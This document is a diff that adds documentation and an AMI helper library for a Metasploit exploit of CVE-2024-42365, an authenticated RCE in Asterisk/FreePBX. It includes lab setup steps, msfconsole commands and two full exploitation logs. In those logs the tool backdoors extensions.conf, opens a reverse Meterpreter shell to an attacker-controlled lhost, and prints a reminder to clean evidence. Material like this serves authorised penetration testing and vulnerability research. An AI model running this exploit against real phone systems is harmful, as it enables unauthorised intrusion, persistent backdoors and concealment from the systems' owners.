Asterisk authenticated rce via AMI (CVE-2024-42365)

documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md

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+## Vulnerable Application
+
+On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
+versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
+all configuration files in the '/etc/asterisk/' directory. Writing a new extension
+can be created which performs a system command to achieve RCE as the asterisk service
+user (typically asterisk).
+
+Default parking lot in FreePBX is called "Default lot" on the website interface,
+however its actually 'parkedcalls'.
+
+Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1.
+
+Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable.
+
+### Install
+
+One easy method, while outdated, is using the FreePBX ISO.
+
+1. Boot to ISO and install the system. Choose Asterisk 19
+2. Visit the web interface on port 80
+3. Complete initial setup, make sure to not do updates.
+4. login
+5. Click FreePBX Administration
+6. Click the hamburger > Applications > Parking
+7. Check the parking extension and name (`70` and `Default lot` are the defaults)
+8. Login (ssh/local) and edit `/etc/asterisk/manager.conf`
+  1. Under `[general]`:
+    1. Change `bindaddr` value to `0.0.0.0`
+    2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0`
+    3. Add the following at the bottom of the file:
+    ```
+[testuser]
+secret=testuser
+write=originate
+permit=0.0.0.0/255.255.255.0
+    ```
+9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up)
+
+Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce `
+1. Do: `set rhosts <rhost>`
+1. Do: `set lhost <lhost>`
+1. Do: `set username <username>`
+1. Do: `set password <password>`
+1. You should get a shell.
+
+## Options
+
+### CONF
+
+The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf`
+
+### PARKINGLOT
+
+The extensions and name of the parking lot. Defaults to `70@parkedcalls`
+
+### EXTENSION
+
+The extension number to backdoor. Defaults to a random number between 3-5 digits.
+
+## Scenarios
+
+### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19
+
+```
+resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce
+[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
+resource (ami.rb)> set rhosts 1.1.1.1
+rhosts => 1.1.1.1
+resource (ami.rb)> set lhost 2.2.2.2
+lhost => 2.2.2.2
+resource (ami.rb)> set username testuser
+username => testuser
+resource (ami.rb)> set password testuser
+password => testuser
+resource (ami.rb)> set verbose true
+verbose => true
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls
+parkinglot => 700@parkedcalls
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit
+
+[*] Started reverse TCP handler on 2.2.2.2:4444 
+[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable)
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved!
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Checking Asterisk version
+[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn
+[*] 1.1.1.1:5038 - Loading conf file
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Setting backdoor
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Reloading config
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Triggering shellcode
+[*] Sending stage (24772 bytes) to 1.1.1.1
+[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!!
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500
+
+meterpreter > shell
+Process 5831 created.
+Channel 1 created.
+asterisk -rx "core show version"
+Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC
+cat /etc/schmooze/pbx-version
+12.7.8-2302-1.sng7
+```
+
+### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18
+
+```
+resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce
+[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
+resource (ami.rb)> set rhosts 1.1.1.1
+rhosts => 1.1.1.1
+resource (ami.rb)> set lhost 2.2.2.2
+lhost => 2.2.2.2
+resource (ami.rb)> set username testuser
+username => testuser
+resource (ami.rb)> set password testuser
+password => testuser
+resource (ami.rb)> set verbose true
+verbose => true
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls
+parkinglot => 700@parkedcalls
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit
+
+[*] Started reverse TCP handler on 2.2.2.2:4444 
+[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable)
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved!
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Checking Asterisk version
+[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx
+[*] 1.1.1.1:5038 - Loading conf file
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Setting backdoor
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Reloading config
+[+] 1.1.1.1:5038 -   Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Triggering shellcode
+[*] Sending stage (24772 bytes) to 1.1.1.1
+[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!!
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500
+
+meterpreter > shell
+Process 3977 created.
+Channel 1 created.
+asterisk -rx "core show version"
+Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC
+cat /etc/schmooze/pbx-version
+12.7.8-2302-1.sng7
+```

lib/msf/core/exploit/remote/asterisk.rb

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+# -*- coding: binary -*-
+
+module Msf
+  module Exploit::Remote::Asterisk
+    include Msf::Exploit::Remote::Tcp
+    include Msf::Auxiliary::Report
+
+    def initialize(info = {})
+      super
+
+      register_options(
+        [
+          Opt::RPORT(5038),
+          OptString.new('USERNAME', [true, 'The username for Asterisk Access', '']),
+          OptString.new('PASSWORD', [true, 'The password for the specified username', '']),
+        ], self.class
+      )
+    end
+
+    #
+    # Handler for sending AMI commands
+    #
+    # @param cmd [String] command to send
+    #
+    # @return [String] response from the server
+    def send_command(cmd = '')
+      sock.put cmd
+
+      res = ''
+      timeout = 15
+      Timeout.timeout(timeout) do
+        res << sock.get_once while res !~ /\r?\n\r?\n/
+      end
+
+      res
+    rescue Timeout::Error
+      print_error "Timeout (#{timeout} seconds)"
+    rescue StandardError
+      # unsure why but getting no implicit conversion of nil into String with the following code
+      # this can be tested with successful exploitation of asterisk_ami_originate_auth_rce module
+      # print_error e.message
+      print_error('Unknown exception')
+    end
+
+    #
+    # Attempt to get the asterisk version number
+    #
+    #
+    # @return [Gem::Version] version response from the server. False on error
+    def get_asterisk_version
+      vprint_status 'Checking Asterisk version'
+
+      req = "action: command\r\n"
+      req << "command: core show version\r\n"
+      req << "\r\n"
+      res = send_command req
+
+      return false if res =~ /Response: Error/
+
+      # example output
+      # Response: Success
+      # Message: Command output follows
+      # Output: Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC
+
+      # https://rubular.com/r/e2LvocVBeKaiVo
+      if res =~ /^Output: Asterisk (.*?) built/
+        return ::Regexp.last_match(1)
+      end
+
+      false
+    end
+
+    #
+    # Handler for logging in to AMI
+    #
+    # @param username [String] username of the user
+    # @param password [String] password of the user
+    #
+    # @return [Boolean] true on success, false on failure
+    def login(username, password)
+      vprint_status "Authenticating as '#{username}'"
+
+      req = "action: login\r\n"
+      req << "username: #{username}\r\n"
+      req << "secret: #{password}\r\n"
+      req << "events: off\r\n"
+      req << "\r\n"
+      res = send_command req
+
+      return false unless res =~ /Response: Success/
+
+      report_cred user: username,
+                  password: password,
+                  proof: 'Response: Success'
+
+      report_service host: rhost,
+                     port: rport,
+                     proto: 'tcp',
+                     name: 'asterisk'
+      true
+    end
+
+    def report_cred(opts)
+      service_data = {
+        address: rhost,
+        port: rport,
+        service_name: 'asterisk_manager',
+        protocol: 'tcp',
+        workspace_id: myworkspace_id
+      }
+
+      credential_data = {
+        origin_type: :service,
+        module_fullname: fullname,
+        username: opts[:username],
+        private_data: opts[:password],
+        private_type: :password
+      }.merge service_data
+
+      login_data = {
+        core: create_credential(credential_data),
+        status: Metasploit::Model::Login::Status::UNTRIED,
+        proof: opts[:proof]
+      }.merge service_data
+
+      create_credential_login login_data
+    end
+  end
+end